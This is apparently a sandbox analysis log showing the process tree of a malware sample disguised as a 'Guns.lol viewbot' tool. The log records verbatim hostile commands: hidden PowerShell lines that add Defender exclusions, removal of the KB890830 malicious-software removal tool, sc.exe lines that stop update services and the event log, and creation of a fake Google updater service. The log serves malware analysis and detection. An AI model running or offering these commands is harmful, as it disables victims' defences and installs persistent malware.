C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,11176395517070087056,9607036417711062505,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4636,i,18030104291357372987,16368322950095703607,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4568 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4844,i,13919907578917100259,2397310561204766816,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4804,i,7274781404410598266,7612522260620543746,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4740,i,1987410457563428320,10963815270540881522,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,1804752838321218245,10048092478341138647,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4800 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,8104906059454151891,7373537878516125554,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=1792 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4272,i,4756358566891061239,678991042263181016,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4260,i,13387256086980836281,15563456888340589875,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5068,i,14990390370112486843,14822650362201991188,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4264,i,16775103220775742482,12929822594112837177,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4904,i,14714051368897124127,1800595703240596467,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,14593077218573956030,12666351178632800453,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4920,i,6108369080778100989,7115259154318028886,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4264,i,689410522542144618,10611854096295328318,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4236,i,7035991121835145708,2500195959968116315,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4284,i,7665683098325494190,2594793275462436670,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4868,i,7509648595042157184,1861286169424026782,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4732,i,1205847941882872550,4883213762457265733,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4776,i,9310455241683926473,10575699699710834987,262144 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4776,i,17382463833576346986,13196314254984397530,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4144,i,17617520348018708257,14308628636621972979,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4120,i,9085335679280799864,3628818996057281310,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4904,i,17813428947095391311,1755146868421431409,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4028,i,18270375552037305020,8880223583700792876,524288 --field-trial-handle=1976,i,783529745024870732,4348032798323296285,262144 --variations-seed-version --mojo-platform-channel-handle=1532 /prefetch:83⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Downloads\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot.exe"C:\Users\Admin\Downloads\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot\Guns.lol viewbot.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exeC:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exeC:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe5⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exeC:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe6⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart8⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"7⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\update.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\guns.lol viewbot 1.0.0.exe"C:\Users\Admin\AppData\Local\Temp\guns.lol viewbot 1.0.0.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\guns-lol-viewbot" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2552 --field-trial-handle=2548,i,14886997283719053688,681099959696809559,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\guns-lol-viewbot" --mojo-platform-channel-handle=2696 --field-trial-handle=2548,i,14886997283719053688,681099959696809559,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:84⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\guns-lol-viewbot" --app-path="C:\Users\Admin\AppData\Local\Temp\guns-viewbot\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2736 --field-trial-handle=2548,i,14886997283719053688,681099959696809559,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:14⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\guns-lol-viewbot" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2040 --field-trial-handle=2548,i,14886997283719053688,681099959696809559,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:84⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\guns-lol-viewbot" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2568 --field-trial-handle=2548,i,14886997283719053688,681099959696809559,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe"C:\Users\Admin\AppData\Local\Temp\guns-viewbot\guns.lol viewbot.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\guns-lol-viewbot" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=2580 --field-trial-handle=2548,i,14886997283719053688,681099959696809559,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:24⤵
- Executes dropped EXE
-
-
-
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
